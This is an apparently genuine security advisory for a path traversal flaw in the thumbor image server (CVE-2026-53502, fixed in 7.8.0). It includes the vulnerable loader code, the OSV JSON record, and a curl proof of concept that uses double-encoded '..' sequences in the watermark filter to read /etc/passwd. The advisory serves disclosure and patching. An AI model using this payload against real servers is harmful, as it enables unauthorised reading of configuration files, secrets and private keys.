PYSEC-2026-3618
Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.
Affected code
thumbor/loaders/file_loader.py lines 28-49:
async def load(context, path):
file_path = join(
context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
)
file_path = abspath(file_path)
inside_root_path = file_path.startswith( # Security check
abspath(context.config.FILE_LOADER_ROOT_PATH)
)
result = LoaderResult()
if not inside_root_path:
result.error = LoaderResult.ERROR_NOT_FOUND
result.successful = False
return result
if not exists(file_path):
file_path = unquote(file_path) # unquote AFTER check!
if exists(file_path) and isfile(file_path):
with open(file_path, "rb") as source_file:
...
The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).
PoC
# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'
Flow:
1. %252e%252e arrives at Tornado, decoded to %2e%2e
2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
5. startswith(ROOT) = True (passes check)
6. exists() returns False (literal %2e%2e dir doesn't exist)
7. unquote() converts %2e%2e to ..
8. OS resolves .. → reads files outside ROOT
Prerequisites
LOADER = thumbor.loaders.file_loader(orfile_loader_http_fallback)ALLOW_UNSAFE_URL = True(this is the default)- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)
Impact
Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.
| Name | purl | thumbor | pkg:pypi/thumbor |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "thumbor",
"purl": "pkg:pypi/thumbor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.8.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.1.3",
"4.10.0",
"4.10.1",
"4.10.2",
"4.10.3",
"4.11.0",
"4.11.1",
"4.12.0",
"4.12.1",
"4.12.2",
"4.4.1",
"4.5.3",
"4.5.4",
"4.6.0",
"4.7.0",
"4.7.1",
"4.8.0",
"4.8.1",
"4.8.2",
"4.8.3",
"4.8.4",
"4.8.5",
"4.8.6",
"4.9.0",
"4.9.1",
"5.0.0",
"5.0.0rc1",
"5.0.0rc2",
"5.0.1",
"5.0.2",
"5.0.3",
"5.0.4",
"5.0.5",
"5.0.6",
"5.1.0",
"5.2.0",
"5.2.1",
"6.0.0",
"6.0.0b1",
"6.0.0b2",
"6.0.0b3",
"6.0.0b4",
"6.0.0b5",
"6.0.1",
"6.0.2",
"6.1.0",
"6.1.1",
"6.1.2",
"6.1.3",
"6.1.4",
"6.1.5",
"6.2.0",
"6.2.1",
"6.3.0",
"6.3.1",
"6.3.2",
"6.4.0",
"6.4.1",
"6.4.2",
"6.4.3",
"6.5.0",
"6.5.1",
"6.5.2",
"6.6.0",
"6.6.1",
"6.7.0",
"6.7.1",
"6.7.2",
"6.7.3",
"6.7.4",
"6.7.5",
"6.7.6",
"7.0.0",
"7.0.0a1",
"7.0.0a2",
"7.0.0a3",
"7.0.0a4",
"7.0.0a5",
"7.0.0b1",
"7.0.1",
"7.0.10",
"7.0.11",
"7.0.12",
"7.0.2",
"7.0.3",
"7.0.5",
"7.0.6",
"7.0.7",
"7.0.8",
"7.0.9",
"7.1.0",
"7.1.1",
"7.1.2",
"7.2.0",
"7.2.1",
"7.3.0",
"7.3.1",
"7.3.2",
"7.4.0",
"7.4.1",
"7.4.2",
"7.4.3",
"7.4.4",
"7.4.5",
"7.4.6",
"7.4.7",
"7.5.0",
"7.5.1",
"7.5.2",
"7.6.0",
"7.7.0",
"7.7.1",
"7.7.2",
"7.7.3",
"7.7.4",
"7.7.5",
"7.7.6",
"7.7.7"
]
}
],
"aliases": [
"CVE-2026-53502",
"GHSA-cj54-hpcc-gj6h"
],
"details": "The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences.\n\n## Affected code\n\n`thumbor/loaders/file_loader.py` lines 28-49:\n```python\nasync def load(context, path):\n file_path = join(\n context.config.FILE_LOADER_ROOT_PATH.rstrip(\"/\"), path.lstrip(\"/\")\n )\n file_path = abspath(file_path)\n inside_root_path = file_path.startswith( # Security check\n abspath(context.config.FILE_LOADER_ROOT_PATH)\n )\n result = LoaderResult()\n if not inside_root_path:\n result.error = LoaderResult.ERROR_NOT_FOUND\n result.successful = False\n return result\n\n if not exists(file_path):\n file_path = unquote(file_path) # unquote AFTER check!\n\n if exists(file_path) and isfile(file_path):\n with open(file_path, \"rb\") as source_file:\n ...\n```\n\nThe watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37).\n\n## PoC\n\n```bash\n# Read /etc/passwd via watermark filter path traversal\n# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,\n# file_loader unquote decodes %2e to .\ncurl \u0027http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg\u0027\n```\n\nFlow:\n1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e`\n2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader\n3. `join(ROOT, \u0027%2e%2e/...\u0027)` = `ROOT/%2e%2e/...`\n4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve)\n5. `startswith(ROOT)` = True (passes check)\n6. `exists()` returns False (literal `%2e%2e` dir doesn\u0027t exist)\n7. `unquote()` converts `%2e%2e` to `..`\n8. OS resolves `..` \u2192 reads files outside ROOT\n\n## Prerequisites\n\n- `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`)\n- `ALLOW_UNSAFE_URL = True` (this is the default)\n- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)\n\n## Impact\n\nArbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.",
"id": "PYSEC-2026-3618",
"modified": "2026-08-04T13:36:38.077608Z",
"published": "2026-08-04T11:34:46.521252Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thumbor/thumbor/security/advisories/GHSA-cj54-hpcc-gj6h"
},
{
"type": "WEB",
"url": "https://github.com/thumbor/thumbor/commit/3b986d13677b30fe6651c8c72ebb25957ac0a40d"
},
{
"type": "PACKAGE",
"url": "https://github.com/thumbor/thumbor"
},
{
"type": "WEB",
"url": "https://github.com/thumbor/thumbor/releases/tag/7.8.0"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/thumbor"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-cj54-hpcc-gj6h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53502"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Thumbor has path traversal via post-validation URL decoding bypass in file_loader"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.